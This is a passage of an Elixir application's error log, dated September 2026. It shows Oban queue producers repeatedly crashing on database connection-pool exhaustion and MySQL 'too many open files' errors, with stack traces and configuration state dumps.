    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:20:55.242283Z], limit: 20, uuid: "20c85993-6bfe-4c9c-a8fc-9dc183048597", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:20:55.242289Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.55105>, refresh_timer: #Reference<0.2525715032.1068498948.55104>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:21:07.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1027ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:20:55.240111Z], limit: 5, uuid: "2626cfbe-42c5-46a9-9916-4928a8d98657", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:20:55.240116Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.181839>, refresh_timer: #Reference<0.2525715032.1121189889.181804>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:21:07.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1057ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:20:55.239431Z], limit: 3, uuid: "f34a308b-2bd5-4ba0-8d46-24370fb01eb5", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:20:55.239438Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.56241>, refresh_timer: #Reference<0.2525715032.1099431938.56232>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:21:07.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1041ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:20:55.239946Z], limit: 5, uuid: "7ade3999-0091-4b5c-bb32-3867295172a4", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:20:55.239952Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.55106>, refresh_timer: #Reference<0.2525715032.1068498948.55080>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:21:07.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 896ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:20:55.239668Z], limit: 50, uuid: "a8bc018b-8729-4bd3-b303-d2534b077a24", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:20:55.239673Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.55107>, refresh_timer: #Reference<0.2525715032.1068498948.55066>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:21:07.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 822ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:20:55.240261Z], limit: 10, uuid: "6c236b27-0442-41e2-bfb1-791feb040226", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:20:55.240267Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.181838>, refresh_timer: #Reference<0.2525715032.1121189889.181803>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:21:09.618000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:21:11.991000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:21:13.092000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:21:14.788000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:21:17.024000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:21:19.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1089ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:21:07.240101Z], limit: 20, uuid: "fd8cc73c-d64c-4e9b-a041-25b9d074303d", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:21:07.240111Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.55283>, refresh_timer: #Reference<0.2525715032.1068498948.55251>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:21:19.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 812ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:21:07.240939Z], limit: 3, uuid: "82288992-1587-49b7-97be-a942b6aae514", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:21:07.240945Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.182366>, refresh_timer: #Reference<0.2525715032.1121189889.182343>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:21:19.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1060ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:21:07.241072Z], limit: 5, uuid: "3fea1c00-e91b-4dd1-b54f-cd3f5dd13165", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:21:07.241079Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.182369>, refresh_timer: #Reference<0.2525715032.1068498948.55268>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:21:19.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1014ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
